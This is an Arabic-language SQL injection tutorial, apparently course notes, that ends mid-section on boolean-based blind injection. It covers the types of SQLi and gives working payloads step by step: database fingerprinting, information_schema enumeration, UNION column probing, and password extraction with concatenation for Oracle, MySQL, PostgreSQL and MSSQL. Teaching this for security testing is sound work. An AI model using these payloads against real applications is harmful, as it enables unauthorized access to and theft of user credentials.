1. ما هي ثغرة حقن قواعد البيانات (SQL Injection)؟
-
تُعرف اختصاراً بـ SQLi، وهي ثغرة حقن في تطبيقات الويب تحدث عندما يقوم المهاجم بإدخال (حقن) استعلامات أو أوامر SQL خبيثة داخل حقول الإدخال الخاصة بالتطبيق.
-
هي بطبيعتها "ثغرة حقن" (Injection Vulnerability)، مما يعني أنها تسمح بإرسال أوامر خبيثة للواجهة الخلفية (Back-end) ليتم تنفيذها بواسطة قاعدة البيانات، مما يتيح للمهاجم استرجاع بيانات واستخدامها لتحقيق أهدافه.
2. ما هو السبب الجذري للثغرة؟
-
المشكلة ليست في قاعدة البيانات نفسها: قاعدة البيانات وظيفتها تنفيذ أي استعلام SQL يتم إرساله إليها من تطبيق الويب، ولا يمكنها التمييز بين الاستعلام الشرعي والاستعلام الخبيث.
-
المشكلة الحقيقية: تكمن في تطبيق الويب نفسه؛ حيث يفشل المطورون في عمل تحقق أو فلترة صحيحة لمدخلات المستخدم (Input Validation)، مما يسمح بمرور الرموز والأوامر البرمجية إلى قاعدة البيانات دون تنظيف.
3. شروط حدوث الثغرة (Prerequisites)
لكي تنجح هجمة SQLi، يجب توفر شرطين أساسيين:
-
نقطة إدخال (Input Point): يجب أن يحتوي التطبيق على مكان يسمح للمستخدم بإدخال بيانات (مثل نموذج تسجيل الدخول Username/Password).
-
التفاعل مع قاعدة البيانات: يجب أن تكون نقطة الإدخال هذه متصلة بقاعدة البيانات في الخلفية، سواء للتحقق من بيانات، أو قراءتها، أو إنشاء بيانات جديدة.
4. التأثير على أمن المعلومات (مثلث CIA)
تعتبر الثغرة شديدة الخطورة لأنها تضرب الأعمدة الثلاثة الأساسية لأمن المعلومات (CIA Triad):
-
السرية (Confidentiality): كسر السرية من خلال السماح للمهاجم بالوصول غير المصرح به لمعلومات حساسة (مثل كلمات المرور والبيانات الشخصية) لم يكن من المفترض أن يراها.
-
النزاهة (Integrity): يمكن للمهاجم تعديل أو حذف البيانات من القاعدة، مما يفقد النظام نزاهته ويجعل قاعدة البيانات غير موثوقة تماماً حتى بعد اكتشاف الاختراق.
-
التوافر (Availability): في حال قام المهاجم بحذف أو إتلاف بيانات أساسية يعتمد عليها التطبيق ليعمل، قد يؤدي ذلك إلى تعطل التطبيق بالكامل وخروجه عن الخدمة.
5. عواقب إضافية متقدمة
-
تنفيذ أوامر على الخادم (Code/Command Execution): إذا كان حساب قاعدة البيانات المُخترق يمتلك صلاحيات إدارية عالية (مثل Root)، يمكن للمهاجم الخروج من بيئة قاعدة البيانات وتنفيذ أوامر مباشرة على نظام التشغيل (Windows أو Linux)، مما يؤدي إلى اختراق الخادم بالكامل (RCE).
-
تخطي المصادقة (Authentication Bypass): يمكن استخدام الثغرة في حقول تسجيل الدخول لتخطي عملية التحقق والدخول كمدير أو كأي مستخدم دون الحاجة لمعرفة كلمة المرور الفعلية.
6. تصنيف وتقييم الثغرة حسب (OWASP Top 10)
في مجال أمن تطبيقات الويب، يُعتبر مشروع OWASP المرجع الأساسي. وقد أوضح المدرب كيف تُقيم OWASP هذه الثغرة:
-
التصنيف: احتلت ثغرات الحقن (والتي تشمل SQLi) المركز الأول كأخطر ثغرة في عام 2017، والمركز الثالث في إصدار 2021.
-
مصفوفة المخاطر (Risk Matrix) الخاصة بها:
-
قابلية الاستغلال (Exploitability): سهلة جداً (تقييم 3/3)، حيث يمكن استغلال أي مصدر بيانات (عوامل متغيرة، Headers، حقول إدخال).
-
مدى الانتشار (Prevalence): شائعة ومنتشرة بقوة (تقييم 2/3)، خاصة في الأكواد القديمة وأنظمة إدارة المحتوى (CMS).
-
سهولة الاكتشاف (Detectability): سهلة الاكتشاف (تقييم 3/3) سواء يدوياً أو باستخدام أدوات الفحص الآلي (Scanners/Fuzzers) أو من خلال مراجعة الكود.
-
التأثير التقني (Technical Impact): كارثي/شديد (تقييم 3/3).
-
7. نبذة تاريخية وأشهر الاختراقات
الثغرة موجودة منذ بداية انتشار تطبيقات الويب المعتمدة على قواعد البيانات، وقد استعرض المدرب أمثلة تثبت أن هذا النوع من الهجمات يؤدي دائماً إلى تسريب كميات ضخمة من البيانات:
-
عام 2000: أول توثيق علني للثغرة تم بواسطة الباحث Jeff Forristal (المعروف بـ Rain Forest Puppy) في مؤتمر DEFCON 8.
-
عام 2000: اختراق موقع CD Universe وسرقة بيانات بطاقات ائتمانية.
-
عام 2002: مجموعة هكرز روسية (The Hellikers) اخترقت قاعدة بيانات الأمم المتحدة.
-
عام 2012: اختراق شبكة LinkedIn الشهير وتسريب 6.5 مليون كلمة مرور.
-
عام 2015: اختراق موقع Ashley Madison وتسريب بيانات مستخدمين حساسة.
التصنيف الأساسي لثغرات SQL Injection
أوضح المدرب أن ثغرة SQLi ليست نوعاً واحداً، بل تنقسم إلى ثلاثة أنواع رئيسية تعتمد على طريقة عملها، وكيفية استغلالها، وكيفية استرجاع البيانات من قاعدة البيانات.
1. الحقن المباشر (In-band SQLi)
هذا هو النوع الأكثر شيوعاً وسهولة. الفكرة الأساسية هنا هي استخدام "نفس قناة الاتصال" (Same Communication Channel) لإرسال الهجوم واستقبال النتيجة.
-
كيف يعمل؟ تقوم بإدخال استعلام SQL الخبيث عبر حقل في تطبيق الويب (مثل نموذج بحث). يقوم التطبيق بإرسال الاستعلام لقاعدة البيانات. قاعدة البيانات تنفذ الاستعلام وترد بالبيانات. وأخيراً، يقوم تطبيق الويب بعرض هذه البيانات مباشرة على نفس الصفحة التي قمت فيها بالحقن.
-
خطورته: خطير جداً لأنه يتيح استخراج البيانات فوراً وبشكل مرئي دون الحاجة لأدوات معقدة، فبمجرد إدخال الاستعلام، تظهر لك النتيجة مباشرة.
الأنواع الفرعية لـ (In-band SQLi):
-
Error-based SQLi (الحقن المعتمد على الأخطاء): تعتمد هذه التقنية على إجبار قاعدة البيانات على إظهار رسالة خطأ. هذه الرسالة غالباً ما تحتوي على معلومات مفيدة مثل نوع قاعدة البيانات أو محتوياتها. يتم استخدامها عادةً كخطوة أولى لتأكيد وجود الثغرة.
-
Union-based SQLi (الحقن المعتمد على الاتحاد): في هذا النوع، تستخدم معامل
UNIONالخاص بلغة SQL. يقوم هذا المعامل بدمج نتائج استعلامك الخبيث مع نتائج الاستعلام الأصلي الذي ينفذه التطبيق، مما يسمح لك باستخراج بيانات غير مصرح لك برؤيتها (مثل دمج قائمة المقالات مع قائمة أسماء المستخدمين).
2. الحقن الأعمى (Blind SQLi)
هنا تصبح الأمور أكثر تعقيداً. في هذا النوع، التطبيق مصاب بالثغرة وينفذ الاستعلامات، لكنه "لا يعرض أي بيانات أو رسائل خطأ" على الشاشة. أنت فعلياً "أعمى" (Blind) ولا ترى نتائج استعلامك مباشرة.
- كيف يعمل؟ بما أنك لا ترى النتائج، ستعتمد على تحليل استجابة التطبيق لمعرفة ما إذا كان الاستعلام صحيحاً أم لا.
الأنواع الفرعية لـ (Blind SQLi):
-
Boolean-based SQLi (الحقن المنطقي): تقوم بإرسال استعلامات SQL عبارة عن أسئلة إجابتها إما "صح" (True) أو "خطأ" (False). على سبيل المثال، "هل الحرف الأول من كلمة المرور هو 'A'؟". إذا استجاب التطبيق بشكل طبيعي، فالإجابة "صح"، وإذا ظهر خطأ أو لم يكتمل التحميل، فالإجابة "خطأ". من خلال سلسلة من الأسئلة، يمكنك تخمين البيانات حرفاً بحرف.
-
Time-based SQLi (الحقن المعتمد على الوقت): هنا تعتمد على وقت استجابة الخادم. ترسل استعلاماً يتضمن أمراً بتأخير الرد (مثلاً 10 ثوانٍ). إذا تأخرت الصفحة في التحميل لمدة 10 ثوانٍ، فهذا يؤكد أن الاستعلام قد نُفذ وأن الثغرة موجودة.
3. الحقن خارج النطاق (Out-of-band SQLi)
هذا النوع هو الأقل شيوعاً وصعب التنفيذ، ويعتمد على استخدام "قناة اتصال مختلفة" لاسترجاع البيانات.
- كيف يعمل؟ تقوم بإرسال الاستعلام عبر تطبيق الويب كالمعتاد. ولكن بدلاً من انتظار الرد على نفس التطبيق، تقوم بتضمين أمر في الاستعلام يجبر قاعدة البيانات على إرسال النتيجة إلى خادم خارجي تسيطر عليه أنت (عن طريق طلبات HTTP أو DNS).
Examining the database in SQL injection attacks
1. استعلامات معرفة نوع وإصدار قاعدة البيانات
يوضح الجدول في النص الأكواد (الاستعلامات) التي يمكن إرسالها لمعرفة نوع وإصدار القاعدة، وهي تختلف من نظام لآخر كالتالي:
-
Microsoft SQL Server & MySQL: نستخدم الكود
SELECT @@version- الشرح: هنا
@@versionعبارة عن "متغير نظام" (System Variable) مبني داخل قاعدة البيانات يحتفظ دائماً بمعلومات الإصدار. نحن نطلب من القاعدة ببساطة قراءة وطباعة قيمة هذا المتغير.
- الشرح: هنا
-
Oracle: نستخدم الكود
SELECT * FROM v$version- الشرح: نظام أوراكل لا يمتلك دالة أو متغيراً بسيطاً للإصدار، ولكنه يحتفظ بهذه المعلومات داخل جدول (أو View) افتراضي مخصص لبيانات النظام يسمى
v$version. لذا نستخدم أمرSELECT *لاستدعاء وقراءة كل البيانات الموجودة داخل هذا الجدول.
- الشرح: نظام أوراكل لا يمتلك دالة أو متغيراً بسيطاً للإصدار، ولكنه يحتفظ بهذه المعلومات داخل جدول (أو View) افتراضي مخصص لبيانات النظام يسمى
-
PostgreSQL: نستخدم الكود
SELECT version()- الشرح: هنا نستخدم دالة (Function) جاهزة ومبنية داخل النظام تسمى
version(). عند استدعائها، تقوم مباشرة بإرجاع معلومات الإصدار.
- الشرح: هنا نستخدم دالة (Function) جاهزة ومبنية داخل النظام تسمى
2. شرح كود الاستغلال العملي (The Payload)
يعطي النص مثالاً لكيفية دمج هذه الاستعلامات في هجوم حقيقي باستخدام تقنية (UNION Attack). الكود المذكور هو: ' UNION SELECT @@version--
تعالى نفكك هذا الكود لنفهم كيف يعمل خطوة بخطوة:
-
علامة الاقتباس الأحادية (
'): تُستخدم لإنهاء أو "كسر" الاستعلام الأصلي المكتوب في الكود البرمجي للموقع. هذه العلامة تجعل ما بعدها قابلاً للاستقبال كأوامر جديدة. -
أمر
UNION: هو مُعامل (Operator) في قواعد البيانات يُستخدم لدمج نتائج استعلامين مختلفين معاً. هنا نحن ندمج الاستعلام الأصلي للموقع مع استعلامنا الخبيث الذي سنكتبه الآن. -
الاستعلام الخبيث
SELECT @@version: هذا هو الأمر الخاص بنا، وفيه نطلب من قاعدة البيانات إرجاع معلومات الإصدار (نحن هنا نخمن أو نستهدف قواعد بيانات Microsoft أو MySQL). -
علامة التعليق (
--): جزء بالغ الأهمية. هذه العلامة تخبر محرك قاعدة البيانات بـ "تجاهل" كل الكود البرمجي الذي يأتي بعد هذه النقطة. هذا يمنع حدوث أخطاء برمجية (Syntax Errors) بسبب بقايا كود الاستعلام الأصلي الذي كسرناه في الخطوة الأولى.
3. تحليل النتيجة المرتجعة (Output)
عندما قام الخادم بتنفيذ الكود السابق بنجاح، قام بإرجاع النص التالي: Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)...
ماذا تعني هذه النتيجة؟
-
تؤكد لك أن الهجوم (UNION Attack) قد نجح بالفعل.
-
تؤكد لك أن نوع قاعدة البيانات هو Microsoft SQL Server.
Listing the contents of the database
1. ما هو الـ Information Schema؟
-
المفهوم: هو عبارة عن قاعدة بيانات افتراضية (أو مجموعة من الـ Views) موجودة بشكل افتراضي داخل أغلب أنظمة إدارة قواعد البيانات (مثل MySQL، وPostgreSQL، وMicrosoft SQL Server).
-
الوظيفة: تعمل كـ "قاموس" أو دليل للنظام؛ فهي لا تحتوي على بيانات المستخدمين الفعلية، بل تحتوي على معلومات حول هيكل قاعدة البيانات نفسها (أسماء الجداول، أسماء الأعمدة، أنواع البيانات، صلاحيات المستخدمين).
-
استثناء: كما أشار النص، نظام Oracle هو الوحيد من الأنظمة الشهيرة الذي لا يستخدم
information_schema، بل يستخدم جداول أخرى بديلة مثلall_tablesوall_tab_columns.
2. الكود الأول: استخراج أسماء الجداول (Tables)
الخطوة الأولى هي معرفة الجداول الموجودة داخل قاعدة البيانات لكي تحدد هدفك (مثل جدول المستخدمين).
-
الكود:
SELECT * FROM information_schema.tables -
الشرح: أنت تطلب من قاعدة البيانات قراءة وجلب كل البيانات
*من جدول يُسمىtablesوالموجود داخل القاموسinformation_schema. -
تحليل النتيجة (Output): عند تنفيذ الكود، أظهرت النتيجة وجود ثلاثة جداول في قاعدة البيانات:
Products، وUsers، وFeedback. كباحث أمني (Pentester)، عينك ستتجه فوراً إلى جدولUsersلأنه الهدف الأثمن والذي يحتوي غالباً على كلمات المرور.
3. الكود الثاني: استخراج أسماء الأعمدة (Columns)
الآن أنت تعرف اسم الجدول (Users)، لكنك لا تستطيع استخراج البيانات منه لأنك لا تعرف أسماء الأعمدة الموجودة بداخله (هل هي User و Pass؟ أم Username و Password؟ أم Email و Hash؟).
-
الكود:
SELECT * FROM information_schema.columns WHERE table_name = 'Users' -
الشرح: هنا تطلب جلب البيانات من جدول
columns(الذي يحتوي على أسماء كل الأعمدة في كل الجداول)، ولكنك استخدمت شرطWHEREلتصفية النتائج بحيث يجلب لك فقط الأعمدة التي تنتمي إلى الجدول الذي اسمهUsers. -
تحليل النتيجة (Output): أظهرت النتيجة أن جدول المستخدمين يحتوي على ثلاثة أعمدة:
-
UserIdونوع بياناته أرقام (int). -
Usernameونوع بياناته نصوص (varchar). -
Passwordونوع بياناته نصوص (varchar).
-
Listing the contents of an Oracle database
1. استخراج أسماء الجداول (Tables) في Oracle
-
الكود:
SELECT * FROM all_tables -
الشرح: بدلاً من الاستعلام من
information_schema.tables، نقوم هنا بطلب جلب كل البيانات من جدول يُسمىall_tables. هذا الجدول في Oracle يحتوي على قائمة بكل الجداول التي يمتلك المستخدم الحالي صلاحية لرؤيتها أو الوصول إليها.
2. استخراج أسماء الأعمدة (Columns) في Oracle
-
الكود:
SELECT * FROM all_tab_columns WHERE table_name = 'USERS' -
الشرح: بدلاً من
information_schema.columns، نستخدم هنا الجدولall_tab_columns. وكما فعلنا سابقاً، نستخدم شرطWHEREلتحديد اسم الجدول الذي نريد استخراج أعمدته.
💡 ملاحظة تقنية هامة جداً (Pro Tip): هل لاحظت أن اسم الجدول في الكود الخاص بـ Oracle مكتوب بحروف كبيرة 'USERS'، بينما في مثال الـ information_schema السابق كان مكتوباً هكذا 'Users'؟
هذا ليس خطأً مطبعياً! نظام Oracle يقوم افتراضياً بحفظ أسماء الجداول والأعمدة بحروف كبيرة (Uppercase). هذه المعلومة حساسة جداً أثناء كتابة أوامر الـ SQL Injection (الـ Payloads)، لأنك إذا كتبت table_name = 'Users' بحروف صغيرة في Oracle، فلن يجد الجدول وسيفشل الهجوم. يجب أن تتطابق حالة الأحرف (Case Sensitivity).
IN-BAND types :
1- Union-based
1. ما هو هجوم الـ UNION (UNION Attack)؟
أمر UNION في قواعد البيانات يُستخدم لدمج (ضم) نتائج استعلامين SELECT مختلفين ليظهرا كجدول واحد (Result Set) في النهاية.
- كيف يتم الاستغلال؟ إذا كان التطبيق يعرض نتائج الاستعلام الأصلي على الشاشة، يمكنك استخدام
UNIONلإضافة استعلامك الخبيث. التطبيق سيقوم بتنفيذ الاستعلام الأصلي، ثم ينفذ استعلامك أنت، ويعرض النتيجتين معاً أمامك.
القاعدتان الذهبيتان (Requirements): لكي ينجح أمر UNION ولا يُصدر الخادم خطأ (Error)، يجب تحقيق شرطين بصرامة:
-
تطابق عدد الأعمدة: الاستعلام الأصلي واستعلامك الخبيث يجب أن يُرجعا نفس عدد الأعمدة (Columns).
-
توافق أنواع البيانات: نوع البيانات في كل عمود يجب أن يكون متوافقاً (مثلاً: إذا كان العمود الأول في الاستعلام الأصلي يعرض نصوصاً "String"، يجب أن يكون العمود الأول في استعلامك يعرض نصوصاً أيضاً).
لذلك، أول خطوة دائماً في هذا الهجوم هي معرفة عدد الأعمدة التي يطلبها الاستعلام الأصلي. النص يشرح طريقتين فعالتين لتحقيق ذلك:
الطريقة الأولى: استخدام ORDER BY
تعتمد هذه الطريقة على أمر ORDER BY الذي يُستخدم لترتيب النتائج بناءً على عمود معين. الجميل هنا أنك لست بحاجة لمعرفة اسم العمود، بل يمكنك استخدام "الرقم الدليلي" (Index) الخاص به.
-
آلية العمل: تقوم بحقن أمر الترتيب وتجربة الأرقام تصاعدياً:
SQL
' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- -
كيف تعرف النتيجة؟ ستستمر في زيادة الرقم حتى يظهر لك خطأ (Error) في الصفحة، أو تختفي النتائج، أو تلاحظ أي تغيير غير طبيعي في استجابة السيرفر.
-
المعنى: إذا جربت
ORDER BY 3وعملت الصفحة بنجاح، ثم جربتORDER BY 4وظهر خطأ يخبرك أن "العمود رقم 4 غير موجود" (Out of range)، فهذا يعني أن الاستعلام الأصلي يحتوي على 3 أعمدة فقط.
الطريقة الثانية: استخدام UNION SELECT NULL
تعتمد هذه الطريقة على المحاولة والخطأ المباشر باستخدام أمر UNION نفسه، ولكن مع استخدام قيمة NULL (فارغ).
-
آلية العمل: تقوم بإرسال أعمدة فارغة وتزيد عددها في كل مرة:
SQL
' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- -
كيف تعرف النتيجة؟ ستستمر الصفحة بإعطاء خطأ (لأن عدد الأعمدة غير متطابق) حتى تصل إلى العدد الصحيح. عندما يتطابق عدد الـ
NULLsمع عدد الأعمدة الأصلي، سيختفي الخطأ، وقد تلاحظ ظهور صف (Row) إضافي فارغ في نتائج الصفحة (مثلاً صف فارغ في جدول HTML). -
لماذا نستخدم
NULLتحديداً؟ هنا تكمن العبقرية؛ تذكر "القاعدة الذهبية الثانية" (توافق أنواع البيانات). إذا حاولت استخدام أرقام أو نصوص عشوائية لاكتشاف العدد، قد تفشل العملية بسبب تعارض أنواع البيانات (Data type mismatch) حتى لو كان العدد صحيحاً. لكنNULLتعمل كـ "الجوكر"، فهي متوافقة مع جميع أنواع البيانات تقريباً (نصوص، أرقام، تواريخ). استخدامNULLيضمن لك التركيز فقط على اكتشاف "العدد" دون القلق من "نوع البيانات".
الخلاصة: أنت الآن تستخدم الطريقتين كـ "مجسّات" لاكتشاف هيكل الاستعلام المخفي في الـ Back-end. بمجرد أن تكتشف أن الاستعلام يحتوي على (3 أعمدة مثلاً)، تنتقل للخطوة التالية وهي تحديد أي من هذه الأعمدة يقبل النصوص لكي تحقن فيه الأوامر التي ستستخرج كلمات المرور أو البيانات الحساسة.
Database-specific syntax :
1. الفروق في صيغ قواعد البيانات (Database-specific syntax)
كل محرك قاعدة بيانات له قواعده الخاصة (Syntax) التي يجب احترامها لكي يعمل كود الاستغلال (Payload) بشكل صحيح:
-
حالة Oracle (استخدام جدول DUAL): في أنظمة قواعد البيانات العادية، يمكنك كتابة
SELECT NULLوسيعمل الأمر ببساطة. لكن في Oracle، هناك قاعدة صارمة: أي استعلامSELECTيجب أن يحتوي على أمرFROMواسم جدول. لحل هذه المشكلة، توفر Oracle جدولاً وهمياً أو افتراضياً مبنياً داخل النظام يُسمىDUAL. لذلك، إذا اكتشفت أن الهدف يعمل بـ Oracle، يجب أن تعدل كود اكتشاف عدد الأعمدة ليصبح هكذا:' UNION SELECT NULL FROM DUAL-- -
حالة MySQL (قواعد التعليقات): علامة التعليق
--هي المعيار السائد لتجاهل باقي الكود، لكن في MySQL هناك شرط دقيق جداً (ودائماً ما يقع فيه المبتدئون): يجب أن يكون هناك مسافة (Space) بعد الشرطتين لكي يتم التعرف عليها كتعليق. البديل الأسهل في MySQL هو استخدام علامة الهاشتاج#، فهي تعمل كتعليق مباشر بدون الحاجة لمسافات.
2. البحث عن عمود يقبل النصوص (Finding columns with a useful data type)
الهدف الرئيسي من الهجوم هو استخراج بيانات حساسة (مثل أسماء المستخدمين أو كلمات المرور)، وهذه البيانات تكون دائماً في شكل نصوص (Strings). المشكلة أنك لا تستطيع حقن نصوص في عمود مخصص للأرقام (Integer) أو التواريخ (Date) وإلا سيحدث خطأ.
كيف نكتشف العمود الذي يقبل النصوص؟ بما أننا استخدمنا NULL في الخطوة السابقة (لأن NULL متوافقة مع كل أنواع البيانات)، سنبدأ الآن باستبدال هذه الـ NULLs بنص بسيط (مثل حرف 'a') بشكل تدريجي وفي عمود واحد في كل مرة.
لنفترض أنك اكتشفت أن الاستعلام يحتوي على 4 أعمدة، ستقوم بتجربة هذه الأكواد بالترتيب:
SQL
' UNION SELECT 'a',NULL,NULL,NULL-- (اختبار العمود الأول)
' UNION SELECT NULL,'a',NULL,NULL-- (اختبار العمود الثاني)
' UNION SELECT NULL,NULL,'a',NULL-- (اختبار العمود الثالث)
' UNION SELECT NULL,NULL,NULL,'a'-- (اختبار العمود الرابع)
كيف تحلل النتيجة؟
-
ظهور خطأ (Error): إذا رد الخادم برسالة خطأ مثل:
Conversion failed when converting the varchar value 'a' to data type int، فهذا يعني أن هذا العمود مخصص للأرقام (int) ولا يقبل النصوص. إذن، هذا العمود غير مفيد لنا. -
نجاح العملية (Success): إذا لم يظهر خطأ، ورأيت حرف
'a'مطبوعاً أمامك على شاشة الموقع (مثلاً داخل جدول أو في مكان تعليق)، فهذا هو المطلوب! لقد وجدت العمود المناسب لاستخراج البيانات.
الخطوة النهائية (ما بعد هذا النص): بمجرد أن تعرف أن العمود الثاني (على سبيل المثال) يقبل النصوص، ستقوم باستبدال حرف 'a' باسم العمود الذي تريد سرقته (مثل username أو password) من الجدول الذي استكشفته سابقاً!
Using a SQL injection UNION attack to retrieve interesting data :
1. متى يمكنك استخراج البيانات؟
يخبرك النص أنك جاهز لتنفيذ هذه الخطوة فقط إذا تمكنت من تحديد أمرين:
-
عرفت بالضبط عدد الأعمدة التي يُرجعها الاستعلام الأصلي.
-
حددت أي من هذه الأعمدة يقبل إدخال نصوص (String Data) لكي تحقن فيه بياناتك.
2. السيناريو الافتراضي للاستغلال
يفترض النص سيناريو تطبيقياً بناءً على ما اكتشفته باستخدام الخطوات السابقة:
-
الاستعلام الأصلي يُرجع عمودين، وكلاهما متوافق مع النصوص.
-
نقطة الحقن موجودة داخل جملة
WHEREمحاطة بعلامات تنصيص أحادية ('). -
أنت تعرف مسبقاً (بفضل استكشافك لـ
information_schema) أن هناك جدول في القاعدة يُسمىusersيحتوي على عمودين باسمusernameوpassword.
3. كود الاستغلال النهائي (The Payload)
بناءً على المعطيات السابقة، ستقوم بإرسال هذا الكود للحصول على البيانات: ' UNION SELECT username, password FROM users--
ماذا يحدث في الخلفية عند تنفيذ هذا الكود؟
-
': تنهي (تكسر) الاستعلام الأصلي المكتوب داخل كود التطبيق. -
UNION SELECT: تدمج النتيجة الأصلية للتطبيق مع نتيجة استعلامك الخبيث. -
username, password: تطلب جلب قيم أسماء المستخدمين وكلمات المرور. (لاحظ أننا استدعينا "عمودين" فقط، مما يتطابق مع الاستعلام الأصلي، وبما أن القيم نصوص، فهي تتطابق مع نوع البيانات المقبول). -
FROM users: تحدد اسم الجدول الذي يحتوي على الهدف. -
--: تحول باقي الاستعلام الأصلي إلى تعليق (Comment) ليتم تجاهله وتجنب حدوث أيSyntax Error.
Retriving multiple values within a single column:
هذا السيناريو يمثل حيلة ذكية جداً (Trick) بنلجأ إليها في اختبار الاختراق عندما نواجه قيداً أو تحديداً (Constraint) في الصفحة المستهدفة.
في الخطوات السابقة، كنا نفترض أن الاستعلام الأصلي يرجع عمودين أو أكثر يقبلون النصوص، فكنّا نضع Username في عمود و Password في العمود الثاني. لكن ماذا لو كشفت مرحلة الفحص (Probing) أن الاستعلام الأصلي لا يرجع سوى عمود واحد فقط يقبل النصوص؟ هنا تظهر المشكلة: كيف نسحب قيمتين (الاسم وكلمة المرور) وتطبيق الويب لا يسمح لنا بعرض إلا قيمة واحدة في كل صف؟
الحل هو دمج النصوص (String Concatenation)، وإليك شرح الفكرة والأكواد بالتفصيل:
1. فكرة دمج النصوص (Concatenation)
بدلاً من طلب الاسم وكلمة المرور كعمودين منفصلين، نقوم بدمجهما معاً برمجياً داخل قاعدة البيانات ليصبحوا "نصاً واحداً كبيراً"، وبالتالي يتم تمريرهم داخل هذا العمود الوحيد المتاح لنا.
للفصل بين الكلمتين وحتى لا تلتصق كلمة المرور باسم المستخدم (مثل: administrators3cure) فيصعب عليك التفريق بينهما، نقوم بحقن علامة فاصلة (Separator) في المنتصف، مثل علامة التِلْدة (~) أو النقطتين فوق بعضهما (:).
2. شرح كود الاستغلال في Oracle
الكود المستخدم في المثال هو: ' UNION SELECT username || '~' || password FROM users--
تعال نفكك هذا الكود برمجياً:
-
': كسر الاستعلام الأصلي كالمعتاد. -
UNION SELECT: أمر دمج استعلامنا مع الاستعلام الأصلي. -
||(Double-pipe): هذا هو معامل الدمج (Concatenation Operator) الخاص بقاعدة بيانات Oracle تحديداً. وظيفته ربط النصوص ببعضها. -
'~': هذا هو الفاصل الذي اخترناه. وضعناه بين علامات تنصيص مفردة لأنه نص ثابت (String Literal). -
FROM users--: جلب البيانات من جدول المستخدمين، وعلامة التعليق لإنهاء الكود.
كيف يقرأ محرك Oracle هذا الأمر؟ المحرك سيذهب لجدول users ويأتي بأول اسم مستخدم (مثلاً administrator) ثم يربطه بـ ~ ثم يربطه بكلمة المرور الخاصة به (مثلاً s3cure)، فيتحول الناتج بالكامل في الخلفية إلى نص واحد: administrator~s3cure. هذا النص يملأ العمود الوحيد المتاح ويظهر على الشاشة بنجاح.
3. تحليل النتيجة المرتجعة (Output)
عند نجاح الهجوم، ستظهر لك النتائج على الموقع بهذا الشكل:
Plaintext
administrator~s3cure
wiener~peter
carlos~montoya
بصفتك المهاجم، كل ما عليك فعله الآن هو أخذ هذه النصوص وفصلها يدوياً أو باستخدام سكريبت بايثون بسيط عند علامة ~ لتقسيمها إلى أسماء مستخدمين وكلمات مرور جاهزة للاستخدام.
💡 تلميحة تقنية مهمة (فروق صيغ قواعد البيانات الأخرى):
النص أشار في النهاية إلى أن صيغة الدمج تختلف من قاعدة بيانات لأخرى. إذا كنت تطبق هذا الهجوم على قواعد بيانات غير Oracle، ستختلف المعاملات كالتالي:
-
MySQL: لا تفهم الـ
||(إلا لو تم تغيير الإعدادات)، والبديل هو استخدام دالةCONCAT:' UNION SELECT CONCAT(username, '~', password) FROM users-- -
PostgreSQL: تستخدم نفس معامل Oracle تماماً وهو
||:' UNION SELECT username || '~' || password FROM users-- -
Microsoft SQL Server: تستخدم علامة الجمع العادية
+لدمج النصوص:' UNION SELECT username + '~' + password FROM users--
هذه الحيلة تضمن لك تخطي عقبة "العمود الواحد" واختصار الوقت بجلب البيانات كلها دفعة واحدة!
Blind sql injection :
هنا ننتقل إلى واحد من أجمل وأكثر المواضيع تشويقاً في اختبار الاختراق، وهو الحقن الأعمى (Blind SQL Injection)، وتحديداً النوع المعتمد على الاستجابات المشروطة (Boolean-based Blind SQLi).
في هذا السيناريو، يتذاكى المطور ويقوم بإخفاء الأخطاء ومنع عرض البيانات المستخرجة على الشاشة، ظناً منه أنه هكذا قد حمى الموقع. لكن هذا النص يشرح كيف يمكن للمهاجم الذكي أن يجبر الموقع على الإجابة بـ "نعم" أو "لا" عبر تتبع التغيرات في استجابة الصفحة، وبالتالي سحب البيانات حرفاً بحرف.
إليك الشرح المفصل والعميق للنص والأكواد المذكورة فيه:
1. ما هو الحقن الأعمى (Blind SQLi) ولماذا يفشل الـ UNION هنا؟
-
المفهوم: يحدث الحقن الأعمى عندما يكون الموقع مصاباً بالثغرة وقاعدة البيانات تنفذ الأوامر بالفعل، ولكن النتائج لا تظهر على الشاشة، ولا تظهر أي رسائل خطأ تفصيلية (Database Errors). أنت هنا تعمل في الظلام.
-
فشل UNION: هجمات الـ
UNIONالتي شرحناها سابقاً تعتمد كلياً على أن البيانات المستخرجة سيتم طباعتها داخل الصفحة لكي تراها. في حالة الـ Blind، بما أن الصفحة لا تعرض شيئاً، فإن الـUNIONيصبح غير فعال، ونحتاج لتقنية أخرى.
2. سيناريو الاستغلال عبر الاستجابة المشروطة (Conditional Responses)
يفترض النص وجود موقع يستخدم ملف تعريف ارتباط (Cookie) لتتبع المستخدمين اسمه TrackingId. عندما ترسل الطلب للموقع، يأخذ السيرفر قيمة الـ Cookie ويضعها في هذا الاستعلام:
SQL
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
سلوك الموقع (The Behavior):
-
إذا كانت قيمة الـ
TrackingIdصحيحة وموجودة في القاعدة، يطبع الموقع جملة: "Welcome back". -
إذا كانت القيمة خاطئة أو غير موجودة، تختفي جملة "Welcome back".
هذا الاختلاف البسيط (ظهور واختفاء الكلمة) هو القناة التي سنتحدث من خلالها مع قاعدة البيانات!
3. شرح أكواد اختبار المنطق (Logic Probing)
للتأكد من أننا نستطيع التحكم في استجابة الموقع بناءً على شروطنا، نقوم بحقن الكودين التاليين:
-
الكود الأول:
…xyz' AND '1'='1-
الشرح: علامة الاقتباس تكسر الاستعلام، ثم أضفنا شرطاً منطقياً
AND '1'='1'وهو شرط صحيح دائماً (True). -
النتيجة في الخلفية: الاستعلام بالكامل يصبح صحيحاً، وبالتالي ستظهر جملة "Welcome back".
-
-
الكود الثاني:
…xyz' AND '1'='2-
الشرح: هنا وضعنا شرطاً خاطئاً دائماً (False) وهو أن 1 تساوي 2.
-
النتيجة في الخلفية: بما أننا استخدمنا
AND(والتي تتطلب أن يكون الطرفان صحيحين)، فإن الشرط الخاطئ يعطل الاستعلام بالكامل، وبالتالي ستختفي جملة "Welcome back".
-
بمجرد رؤيتك لهذا التغيير، تأكدت 100% أن الموقع مصاب بـ Boolean-based Blind SQLi، وأنك تستطيع طرح أي سؤال على قاعدة البيانات؛ فإذا ظهرت الجملة فالإجابة "نعم"، وإذا اختفت فالإجابة "لا".
